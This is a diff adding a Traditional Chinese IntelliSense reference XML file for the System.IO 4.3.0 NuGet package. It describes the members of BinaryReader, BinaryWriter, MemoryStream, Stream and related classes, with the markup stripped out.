/dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.5/zh-hant/System.IO.xml @@ -0,0 +1,2246 @@ + + + + System.IO + + + + 以特定的編碼方式，將基本資料型別當做二進位值讀取。 + 2 + + + 根據指定的資料流並使用 UTF-8 編碼方式，初始化 類別的新執行個體。 + 輸入資料流。 + 資料流不支援讀取，為 null，或已經關閉。 + + + 根據指定的資料流和字元編碼，初始化 類別的新執行個體。 + 輸入資料流。 + 要使用的字元編碼。 + 資料流不支援讀取，為 null，或已經關閉。 + + 為 null。 + + + 根據指定的資料流和特定的字元編碼，初始化 類別的新執行個體，並選擇性地保留資料流開啟狀態。 + 輸入資料流。 + 要使用的字元編碼。 + true 表示在處置 物件之後，將資料流保持開啟；否則為 false。 + 資料流不支援讀取，為 null，或已經關閉。 + + 或 為 null。 + + + 公開 之基礎資料流的存取。 + 與 BinaryReader 相關聯的基礎資料流。 + 2 + + + 將 類別目前的執行個體所使用的資源全部釋出。 + + + 釋放 類別所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 將從資料流讀取的指定位元組數目填入內部緩衝區。 + 要讀取的位元組數。 + 在 可讀取之前到達資料流末端。 + 發生 I/O 錯誤。 + 所要求的 大於內部緩衝區大小。 + + + 傳回下一個可用字元，而不前移位元組或字元的位置。 + 下一個可用的字元；如果沒有更多字元可供使用或資料流不支援搜尋，則為 -1。 + 發生 I/O 錯誤。 + 無法使用針對資料流選取的 將目前的字元解碼到內部字元緩衝區。 + 2 + + + 按照所使用的 Encoding 和從資料流讀取的特定字元，自基礎資料流讀取字元，並將資料流中目前的位置往前移。 + 輸入資料流的下一個字元；如果目前沒有字元可供使用，則為 -1。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 2 + + + 由位元組陣列中指定點開始，讀取資料流中的指定位元組數。 + 要讀入 的位元組數。如果沒有足夠的位元組數，這可能會小於要求的位元組數；如果已到達資料流末端，則可能為零。 + 要讀取資料的緩衝區。 + 開始讀取資料到緩衝區的緩衝區起始點。 + 要讀取的位元組數。 + 緩衝區長度減去 小於 。-或-欲讀取的解碼字元數大於 。如果 Unicode 解碼器傳回後援字元或 Surrogate 組，就會發生這個情況。 + + 為 null。 + + 或 為負值。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 由字元陣列中的指定點開始，從資料流讀取指定字元數。 + 讀入緩衝區的字元總數。如果目前沒有足夠的位元組數，這可能會小於要求的位元組數；如果已到達資料流末端，則可能為零。 + 要讀取資料的緩衝區。 + 開始讀取資料到緩衝區的緩衝區起始點。 + 要讀取的字元數。 + 緩衝區長度減去 小於 。-或-欲讀取的解碼字元數大於 。如果 Unicode 解碼器傳回後援字元或 Surrogate 組，就會發生這個情況。 + + 為 null。 + + 或 為負值。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 以壓縮格式讀取 32 位元整數。 + 壓縮格式的 32 位元整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 資料流已損毀。 + + + 自目前資料流讀取 Boolean 值，並將資料流中目前的位置往前移一個位元組。 + 如果位元組為非零值，則為 true；否則為 false。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取下一個位元組，並將資料流中目前的位置往前移一個位元組。 + 自目前資料流讀取的下一個位元組。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 將目前資料流中的指定位元組數讀入位元組陣列中，並將目前的位置前移該位元組數。 + 位元組陣列，含有自基礎資料流讀取的資料。如果已到達資料流末端，這可能會小於要求的位元組數。 + 要讀取的位元組數。這個值必須是 0 或非負數，否則會發生例外狀況。 + 欲讀取的解碼字元數大於 。如果 Unicode 解碼器傳回後援字元或 Surrogate 組，就會發生這個情況。 + 發生 I/O 錯誤。 + 已關閉資料流。 + + 為負值。 + 2 + + + 按照所使用的 Encoding 和從資料流讀取的特定字元，自目前資料流讀取下一個字元，並將資料流中目前的位置往前移。 + 自目前資料流讀取的字元。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 讀取到 Surrogate 字元 + 2 + + + 讀取目前資料流中的指定字元數，並將資料傳入字元陣列中，然後依據使用的 Encoding 以及正在從資料流中讀取的指定字元，前移目前的位置。 + 字元陣列，含有從基礎資料流讀取的資料。如果已到達資料流末端，這可能會小於要求的字元數。 + 要讀取的字元數。 + 欲讀取的解碼字元數大於 。如果 Unicode 解碼器傳回後援字元或 Surrogate 組，就會發生這個情況。 + 已關閉資料流。 + 發生 I/O 錯誤。 + + 為負值。 + 2 + + + 自目前資料流讀取十進位值，並將資料流的目前位置前移十六個位元組。 + 自目前資料流讀取的十進位值。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 8 位元組浮點數值，並將資料流目前位置前移八個位元組。 + 自目前資料流讀取的 8 位元組浮點數值。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 2 位元組帶正負號的整數，並將資料流目前位置前移兩個位元組。 + 自目前資料流讀取的 2 位元組帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 4 位元組帶正負號的整數，並將資料流目前位置前移四個位元組。 + 自目前資料流讀取的 4 位元組帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 8 位元組帶正負號的整數，並將資料流目前位置前移八個位元組。 + 自目前資料流讀取的 8 位元組帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自資料流讀取帶正負號的位元組，並將資料流目前位置前移一個位元組。 + 自資料流讀取的帶正負號的位元組。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 4 位元組浮點數值，並將資料流目前位置前移四個位元組。 + 自目前資料流讀取的 4 位元組浮點數值。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取字串。字串會以長度為前置字元，每次以七位元編碼為一整數。 + 讀取的字串。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 以位元組由小到大的編碼方式自目前資料流讀取 2 位元組不帶正負號的整數，並將資料流目前位置前移兩個位元組。 + 自這個資料流讀取 2 位元組不帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 4 位元組不帶正負號的整數，並將資料流目前位置前移四個位元組。 + 自這個資料流讀取 4 位元組不帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 8 位元組不帶正負號的整數，並將資料流目前位置前移八個位元組。 + 自這個資料流讀取 8 位元組不帶正負號的整數。 + 已到達資料流的末端。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 2 + + + 以二進位方式將基本型別 (Primitive Type) 寫入資料流，並支援以特定編碼方式寫入字串。 + 2 + + + 初始化 類別的新執行個體，其將寫入資料流。 + + + 根據指定的資料流並使用 UTF-8 編碼方式，初始化 類別的新執行個體。 + 輸出資料流。 + 資料流不支援寫入，或已經關閉。 + + 為 null。 + + + 根據指定的資料流和字元編碼方式，初始化 類別的新執行個體。 + 輸出資料流。 + 要使用的字元編碼。 + 資料流不支援寫入，或已經關閉。 + + 或 是 null。 + + + 根據指定的資料流和特定的字元編碼方式，初始化 類別的新執行個體，並選擇性讓資料流保持開啟。 + 輸出資料流。 + 要使用的字元編碼。 + true 表示在處置 物件之後，將資料流保持開啟，否則為 false。 + 資料流不支援寫入，或已經關閉。 + + 或 是 null。 + + + 取得 的基礎資料流。 + 與 BinaryWriter 相關聯的基礎資料流。 + 1 + + + 將 類別目前的執行個體所使用的資源全部釋出。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示會同時釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 清除目前寫入器 (Writer) 的所有緩衝區，並造成任何緩衝資料都寫入基礎裝置。 + 1 + + + 指定沒有備份存放區的 。 + 1 + + + 容納基礎資料流。 + + + 設定目前資料流位置。 + 目前資料流的位置。 + 相對於 的位元組位移。 + + 的欄位，表示要取得新位置的參考點。 + 檔案指標已移至無效的位置。 + + 值是無效的。 + 1 + + + 寫入一位元組的 Boolean 值至目前資料流，其中 0 表示 false，1 表示 true。 + 要寫入的 Boolean 值 (0 或 1)。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將不帶正負號 (Unsigned) 位元組寫入目前資料流，並將資料流位置前移一個位元組。 + 要寫入的不帶正負號位元組。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將位元組陣列寫入基礎資料流。 + 含有要寫入之資料的位元組陣列。 + 發生 I/O 錯誤。 + 已關閉資料流。 + + 為 null。 + 1 + + + 將一個區域的位元組陣列寫入目前資料流。 + 含有要寫入之資料的位元組陣列。 + + 中要開始寫入的起始點。 + 要寫入的位元組數。 + 緩衝區長度減去 小於 。 + + 為 null。 + + 或 為負數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將 Unicode 字元寫入至目前資料流，並按照所使用的 Encoding 和寫入資料流的特定字元，將資料流中目前的位置往前移。 + 非 Surrogate，要寫入的 Unicode 字元。 + 發生 I/O 錯誤。 + 已關閉資料流。 + + 是單一 Surrogate 字元。 + 1 + + + 將字元陣列寫入至目前資料流，並按照所使用的 Encoding 和寫入資料流的特定字元，將資料流中目前的位置往前移。 + 含有要寫入之資料的字元陣列。 + + 為 null。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 1 + + + 將字元陣列中的一區段寫入至目前的資料流，並按照所使用的 Encoding 和可能為寫入資料流的特定字元，將資料流中目前的位置往前移。 + 含有要寫入之資料的字元陣列。 + + 中要開始寫入的起始點。 + 要寫入的字元數。 + 緩衝區長度減去 小於 。 + + 為 null。 + + 或 為負數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將十進位值寫入目前的資料流，並將資料流位置往前移十六個位元組。 + 要寫入的十進位值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將八位元組浮點數值寫入目前資料流，並將資料流目前位置前移八個位元組。 + 要寫入的八位元組浮點數值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將二位元組帶正負號的整數 (Signed Integer) 寫入目前資料流，並將資料流目前位置前移兩個位元組。 + 要寫入的二位元組帶正負號的整數值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將四位元組帶正負號的整數寫入目前資料流，並將資料流目前位置前移四個位元組。 + 要寫入的四位元組帶正負號的整數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將八位元組帶正負號的整數寫入目前資料流，並將資料流目前位置前移八個位元組。 + 要寫入的八位元組帶正負號的整數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將帶正負號 (Signed) 位元組寫入目前資料流，並將資料流位置前移一個位元組。 + 要寫入的帶正負號位元組。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將四位元組浮點數 (Floating-Point) 值寫入目前資料流，並將資料流目前位置前移四個位元組。 + 要寫入的四位元組浮點數值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將有長度前置字元的字串以目前 的編碼方式寫入此資料流，並按照所使用的編碼方式和寫入資料流的特定字元，將資料流中目前的位置往前移。 + 要寫入的值。 + 發生 I/O 錯誤。 + + 為 null。 + 已關閉資料流。 + 1 + + + 將二位元組不帶正負號的整數寫入目前資料流，並將資料流目前位置前移兩個位元組。 + 要寫入的二位元組不帶正負號的整數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將四位元組不帶正負號的整數寫入目前資料流，並將資料流目前位置前移四個位元組。 + 要寫入的四位元組不帶正負號的整數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將八位元組不帶正負號的整數值寫入目前資料流，並將資料流目前位置前移八個位元組。 + 要寫入的八位元組不帶正負號的整數值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 以壓縮格式寫入 32 位元整數。 + 要寫入的 32 位元整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 已關閉資料流。 + + + 嘗試超過資料流末端進行讀取時所擲回的例外狀況。 + 2 + + + 將其訊息字串設定為系統提供的訊息且將其 HRESULT 設定為 COR_E_ENDOFSTREAM，初始化 類別的新執行個體。 + + + 使用其訊息字串設定為 和其 HRESULT 設定為 COR_E_ENDOFSTREAM，初始化 類別的新執行個體。 + 描述錯誤的字串。 的內容必須能讓人了解。這個建構函式的呼叫端必須確保這個字串已經為目前系統的文化特性當地語系化。 + + + 使用指定的錯誤訊息和造成這個例外狀況原因的內部例外參考，初始化 類別的新執行個體。 + 描述錯誤的字串。 的內容必須能讓人了解。這個建構函式的呼叫端必須確保這個字串已經為目前系統的文化特性當地語系化。 + 導致目前例外狀況的例外。如果 參數不是 null，則目前的例外狀況會在處理內部例外的 catch 區塊中引發。 + + + 資料流在格式無效時擲回的例外狀況。 + + + 初始化 類別的新執行個體。 + + + 使用指定的錯誤訊息，初始化 類別的新執行個體。 + 解釋例外狀況原因的錯誤訊息。 + + + 使用造成這個例外狀況原因的內部例外參考，初始化 類別的新執行個體。 + 解釋例外狀況原因的錯誤訊息。 + 導致目前例外狀況的例外。如果 參數不是 null，則目前的例外狀況會在處理內部例外的 catch 區塊中引發。 + + + 建立支援的存放區為記憶體的資料流。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 2 + + + 使用初始化為零的可擴展容量，初始化 類別的新執行個體。 + + + 根據指定的位元組陣列，初始化 類別之不可調整大小的執行個體。 + 用於建立目前資料流之不帶正負號位元組的陣列。 + + 為 null。 + + + 根據具有指定的 屬性設定之位元組陣列，來初始化 類別之新的不可調整大小的執行個體。 + 用於建立這個資料流之不帶正負號位元組的陣列。 + + 屬性的設定，決定資料流是否支援寫入。 + + 為 null。 + + + 根據位元組陣列的指定區域 (索引)，來初始化 類別之新的不可調整大小的執行個體。 + 用於建立這個資料流之不帶正負號位元組的陣列。 + + 中資料流開始處的索引。 + 資料流的長度，以位元組為單位。 + + 為 null。 + + 或 小於零。 + 緩衝區長度減去 小於 。 + + + 根據位元組陣列的指定區域 (且該區域使用依指定所設定的 屬性)，來初始化 類別之新的不可調整大小的執行個體。 + 用於建立這個資料流之不帶正負號位元組的陣列。 + + 中資料流開始處的索引。 + 資料流的長度，以位元組為單位。 + + 屬性的設定，決定資料流是否支援寫入。 + + 為 null。 + + 或 為負值。 + 緩衝區長度減去 小於 。 + + + 根據指定的位元組陣列區域 (且該區域使用依指定所設定的 屬性和依指定所設定的呼叫 的能力)，來初始化 類別的新執行個體。 + 用於建立這個資料流之不帶正負號位元組的陣列。 + + 中資料流開始處的索引。 + 資料流的長度，以位元組為單位。 + + 屬性的設定，決定資料流是否支援寫入。 + 啟用 (傳回從其中建立資料流的不帶正負號的位元組陣列)，則為 true；否則為 false。 + + 為 null。 + + 或 為負值。 + 緩衝區長度減去 小於 。 + + + 使用初始化為指定的可擴展容量，初始化 類別的新執行個體。 + 內部陣列的初始大小，以位元組為單位。 + + 為負值。 + + + 取得表示目前資料流是否支援讀取的值。 + true，如果資料流已開啟。 + 2 + + + 取得表示目前資料流是否支援搜尋的值。 + true，如果資料流已開啟。 + 2 + + + 取得表示目前資料流是否支援寫入的值。 + 如果資料流支援寫入，則為 true；否則，為 false。 + 2 + + + 取得或設定配置給這個資料流的位元組數目。 + 資料流緩衝區可使用部分的長度。 + 設定的容量為負數或小於資料流目前的長度。 + 目前的資料流已經關閉。 + set 在無法修改其容量的資料流上被叫用 (Invoke)。 + 2 + + + 使用指定的緩衝區大小和取消語彙基元，以非同步的方式從目前資料流讀取所有位元組，並將其寫入另一個資料流。 + 表示非同步複製作業的工作。 + 目前資料流的內容將複製到其中的資料流。 + 緩衝區的大小 (以位元組為單位)。這個值必須大於零。 + 用來監視是否有取消要求的語彙基元。 + + 為 null。 + + 為負值或零。 + 目前資料流或目的資料流已處置。 + 目前資料流不支援讀取，或目的資料流不支援寫入。 + + + 釋放 類別所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 覆寫 方法，以便不執行任何動作。 + 2 + + + 非同步清除這個資料流的所有緩衝區，並監視取消要求。 + 表示非同步排清作業的工作。 + 用來監視是否有取消要求的語彙基元。 + 已處置資料流。 + + + 取得資料流的長度，以位元組為單位。 + 資料流的長度，以位元組為單位。 + 已關閉資料流。 + 2 + + + 取得或設定資料流中目前的位置。 + 在資料流的目前位置。 + 位置設為負數值或大於 的值。 + 已關閉資料流。 + 2 + + + 從目前的資料流讀取位元組區塊，並且將資料寫入緩衝區。 + 寫入至緩衝區的總位元組數。如果目前無法提供那麼多的位元組數目，則這個數目可能小於所要求的位元組數目，或如果在讀取任何資料之前已經到達資料流末端，則為零。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定位元組陣列，該值是由讀取自目前資料流的字元所取代。 + + 中以零為起始的位元組位移，用來開始儲存讀取自目前資料流的資料。 + 要讀取的最大位元組數。 + + 為 null。 + + 或 為負值。 + 緩衝區的長度減去 小於 。 + 目前的資料流執行個體已關閉。 + 2 + + + 以非同步的方式從目前資料流讀取一連串的位元組、依所讀取的位元組數目進階資料流中的位置，以及監視取消要求。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 寫入資料的緩衝區。 + 開始於此處自資料流寫入資料的 中的位元組位移。 + 要讀取的最大位元組數。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援讀取。 + 已處置資料流。 + 資料流目前由先前讀取作業所使用。 + + + 從目前的資料流讀取位元組。 + 轉型為 的位元組；如果已經到達資料流的末端，則為 -1。 + 目前的資料流執行個體已關閉。 + 2 + + + 將目前資料流中的位置設定為指定的數值。 + 資料流中的新位置，是組合初始的參考點和位移計算出來的。 + 資料流中的新位置。這是相對於 參數，並且可能是正數或負數。 + + 類型的值，做為搜尋參考點。 + 在資料流開頭之前嘗試搜尋。 + + 大於 。 + 有無效的 。-或- 造成了算術溢位。 + 目前的資料流執行個體已關閉。 + 2 + + + 將目前資料流的長度設定為指定的數值。 + 要設定長度的數值。 + 目前的資料流不是可調整大小的，並且 大於目前的容量。-或- 目前的資料流不支援寫入。 + + 為負，或大於 的最大長度，最大長度是 ( - 原點)，原點是資料流開始的基礎緩衝區索引。 + 2 + + + 不論 屬性為何，將資料流內容寫入位元組陣列。 + 新的位元組陣列。 + 2 + + + 傳回用於建立這個資料流之不帶正負號位元組的陣列。指出轉換是否成功的傳回值。 + 如果轉換成功，則為 true；否則為 false。 + 從其中建立此資料流的位元組陣列區段。 + + + 使用讀取自緩衝區的資料，將位元組區塊寫入至目前的資料流。 + 寫入資料的來源緩衝區。 + + 中以零起始的位元組位移，即開始將位元組複製到目前資料流的位置。 + 寫入的最大位元組數。 + + 為 null。 + 資料流不支援寫入。如需詳細資訊，請參閱 。-或- 和 位元組相比，目前的位置更接近資料流末端，並且容量無法修改。 + 緩衝區的長度減去 小於 。 + + 或 為負值。 + 發生 I/O 錯誤。 + 目前的資料流執行個體已關閉。 + 2 + + + 以非同步的方式將一連串的位元組寫入目前的資料流，由這個資料流中目前的位置前移寫入的位元組數目，並且監視取消要求。 + 表示非同步寫入作業的工作。 + 寫入資料的來源緩衝區。 + + 中以零起始的位元組位移，要從其中開始將位元組複製至資料流。 + 寫入的最大位元組數。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援寫入。 + 已處置資料流。 + 資料流目前由先前寫入作業所使用。 + + + 寫入位元組至資料流目前位置。 + 要寫入的位元組。 + 資料流不支援寫入。如需詳細資訊，請參閱 。-或- 目前的位置在資料流結尾，並且無法修改容量。 + 目前的資料流已經關閉。 + 2 + + + 將這個記憶體資料流的整個內容寫入另一個資料流。 + 要寫入這個記憶體資料流的資料流。 + + 為 null。 + 目前的資料流或目標資料流已經關閉。 + 2 + + + 指定資料流中要用於搜尋的位置。 + 2 + + + 指定資料流的開端。 + + + 指定資料流中的目前位置。 + + + 指定資料流的末端。 + + + 提供位元組順序的一般觀點。這是 abstract 類別。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 2 + + + 初始化 類別的新執行個體。 + + + 在衍生類別中覆寫時，取得指示目前的資料流是否支援讀取的數值。 + 如果資料流支援讀取，則為 true；否則為 false。 + 1 + + + 在衍生類別中覆寫時，取得指示目前資料流是否支援搜尋的數值。 + 如果資料流支援搜尋，則為 true；否則為 false。 + 1 + + + 取得值，該值判斷目前的資料流是否可以逾時。 + 值，判斷目前的資料流是否可以逾時。 + 2 + + + 在衍生類別中覆寫時，取得指示目前資料流是否支援寫入的數值。 + 如果資料流支援寫入，則為 true；否則，為 false。 + 1 + + + 從目前資料流讀取位元組，並將其寫入另一個資料流中。 + 目前資料流的內容將複製到其中的資料流。 + + 為 null。 + 目前資料流不支援讀取。-或- 不支援寫入。 + 目前資料流或 已經在呼叫 方法之前關閉。 + 發生 I/O 錯誤。 + + + 使用指定的緩衝區大小，從目前資料流讀取所有位元組，並將其寫入另一個資料流中。 + 目前資料流的內容將複製到其中的資料流。 + 緩衝區的大小。這個值必須大於零。預設大小為 81920。 + + 為 null。 + + 為負值或零。 + 目前資料流不支援讀取。-或- 不支援寫入。 + 目前資料流或 已經在呼叫 方法之前關閉。 + 發生 I/O 錯誤。 + + + 以非同步的方式從目前資料流讀取所有位元組，並將其寫入另一個資料流中。 + 表示非同步複製作業的工作。 + 目前資料流的內容將複製到其中的資料流。 + + 為 null。 + 目前資料流或目的資料流已處置。 + 目前資料流不支援讀取，或目的資料流不支援寫入。 + + + 使用指定的緩衝區大小，以非同步的方式從目前資料流讀取所有位元組，並將其寫入另一個資料流中。 + 表示非同步複製作業的工作。 + 目前資料流的內容將複製到其中的資料流。 + 緩衝區的大小 (以位元組為單位)。這個值必須大於零。預設大小為 81920。 + + 為 null。 + + 為負值或零。 + 目前資料流或目的資料流已處置。 + 目前資料流不支援讀取，或目的資料流不支援寫入。 + + + 使用指定的緩衝區大小和取消語彙基元，以非同步的方式從目前資料流讀取位元組，並將其寫入另一個資料流。 + 表示非同步複製作業的工作。 + 目前資料流的內容將複製到其中的資料流。 + 緩衝區的大小 (以位元組為單位)。這個值必須大於零。預設大小為 81920。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 為負值或零。 + 目前資料流或目的資料流已處置。 + 目前資料流不支援讀取，或目的資料流不支援寫入。 + + + 釋放 所使用的所有資源。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 當在衍生類別中覆寫時，會清除這個資料流的所有緩衝區，並造成所有緩衝資料都寫入基礎裝置。 + 發生 I/O 錯誤。 + 2 + + + 以非同步的方式清除這個資料流的所有緩衝區，並造成所有緩衝資料都寫入基礎裝置。 + 表示非同步排清作業的工作。 + 已處置資料流。 + + + 以非同步的方式清除這個資料流的所有緩衝區，造成任何緩衝資料都寫入基礎裝置，並且監視取消要求。 + 表示非同步排清作業的工作。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + 已處置資料流。 + + + 在衍生類別中覆寫時，取得資料流的長度 (以位元組為單位)。 + 代表資料流長度的長數值 (以位元組為單位)。 + 衍生自 Stream 的類別不支援搜尋。 + 在資料流關閉後，會呼叫方法。 + 1 + + + 沒有底層存放區的 Stream。 + 1 + + + 在衍生類別中覆寫時，取得或設定在目前資料流的位置。 + 在資料流的目前位置。 + 發生 I/O 錯誤。 + 資料流不支援搜尋。 + 在資料流關閉後，會呼叫方法。 + 1 + + + 當在衍生類別中覆寫時，自目前資料流讀取一連串的位元組，並依所讀取的位元組數目進階資料流中的位置。 + 緩衝區所讀取的總位元組數。如果目前無法取得足夠的位元組，則這個數目可能小於所要求的位元組數，如果已經到達資料流末端，則為零 (0)。 + 位元組陣列。當這個方法返回時，緩衝區會包含具有介於 和 ( + - 1) 值的指定位元組陣列，由從目前來源讀取的位元組所取代。 + + 中以零起始的位元組位移，即開始儲存讀取自目前資料流之資料的位置。 + 自目前資料流讀取的最大位元組數。 + + 和 的總和大於緩衝區的長度。 + + 為 null。 + + 或 為負值。 + 發生 I/O 錯誤。 + 資料流不支援讀取。 + 在資料流關閉後，會呼叫方法。 + 1 + + + 以非同步的方式從目前的資料流讀取位元組序列，並依讀取的位元組數將資料流中的位置往前移。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 寫入資料的緩衝區。 + 開始於此處自資料流寫入資料的 中的位元組位移。 + 要讀取的最大位元組數。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援讀取。 + 已處置資料流。 + 資料流目前由先前讀取作業所使用。 + + + 以非同步的方式從目前資料流讀取一連串的位元組、依所讀取的位元組數目進階資料流中的位置，以及監視取消要求。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 寫入資料的緩衝區。 + 開始於此處自資料流寫入資料的 中的位元組位移。 + 要讀取的最大位元組數。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援讀取。 + 已處置資料流。 + 資料流目前由先前讀取作業所使用。 + + + 從資料流讀取一個位元組，並將資料流的位置推進一個位元組；如果在資料流末端，則傳回 -1。 + 轉型為 Int32 的不帶正負號位元組，如果在資料流末端，則為 -1。 + 資料流不支援讀取。 + 在資料流關閉後，會呼叫方法。 + 2 + + + 取得或設定值 (以毫秒為單位)，該值決定在逾時前資料流將嘗試讀取多長時間。 + 值 (以毫秒為單位)，該值決定在逾時前資料流將嘗試讀取多長時間。 + + 方法必須擲回 。 + 2 + + + 在衍生類別中覆寫時，設定在目前資料流的位置。 + 目前資料流的新位置。 + 相對於 參數的位元組位移。 + + 類型的值，表示用來取得新位置的參考點。 + 發生 I/O 錯誤。 + 資料流不支援搜尋，例如資料流為管道或主控台 (Console) 輸出所建構。 + 在資料流關閉後，會呼叫方法。 + 1 + + + 在衍生類別中覆寫時，設定目前資料流的長度。 + 想要的目前資料流長度 (單位為位元組)。 + 發生 I/O 錯誤。 + 資料流不支援寫入和搜尋，例如，如果資料流是從管道或主控台 (Console) 輸出所建構。 + 在資料流關閉後，會呼叫方法。 + 2 + + + 在衍生類別中覆寫時，將一連串的位元組寫入目前的資料流，並且由這個資料流中目前的位置前移寫入的位元組數目。 + 位元組陣列。此方法會從 複製 位元組到目前資料流。 + + 中以零起始的位元組位移，即開始將位元組複製到目前資料流的位置。 + 寫入目前資料流的位元組數目。 + 总和  和  大于缓冲区长度。 + + 是 null。 + + 或  为负。 + 将出现 I/O 错误，如找不到指定的文件。 + 資料流不支援寫入。 + + 流关闭后调用。 + 1 + + + 以非同步的方式將位元組序列寫入至目前的資料流，並依寫入的位元組數將資料流中目前的位置往前移。 + 表示非同步寫入作業的工作。 + 寫入資料的來源緩衝區。 + + 中以零起始的位元組位移，要從其中開始將位元組複製至資料流。 + 寫入的最大位元組數。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援寫入。 + 已處置資料流。 + 資料流目前由先前寫入作業所使用。 + + + 以非同步的方式將一連串的位元組寫入目前的資料流，由這個資料流中目前的位置前移寫入的位元組數目，並且監視取消要求。 + 表示非同步寫入作業的工作。 + 寫入資料的來源緩衝區。 + + 中以零起始的位元組位移，要從其中開始將位元組複製至資料流。 + 寫入的最大位元組數。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援寫入。 + 已處置資料流。 + 資料流目前由先前寫入作業所使用。 + + + 寫入一個位元組至資料流的目前位置，並將資料流位置推進一個位元組。 + 寫入資料流的位元組。 + 發生 I/O 錯誤。 + 資料流不支援寫入，或資料流已經關閉。 + 在資料流關閉後，會呼叫方法。 + 2 + + + 取得或設定值 (以毫秒為單位)，該值決定在逾時前資料流將嘗試寫入多長時間。 + 值 (以毫秒為單位)，該值決定在逾時前資料流將嘗試寫入多長時間。 + + 方法必須擲回 。 + 2 + + + 實作以特定的編碼方式自位元組資料流讀取字元的 。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 1 + + + 為指定的資料流，初始化 類別的新執行個體。 + 要讀取的資料流。 + + 不支援讀取。 + + 為 null。 + + + 使用指定的位元組順序標記偵測選項，針對指定的資料流初始化 類別的新執行個體。 + 要讀取的資料流。 + 表示是否在檔案開頭尋找位元組順序標記。 + + 不支援讀取。 + + 為 null。 + + + 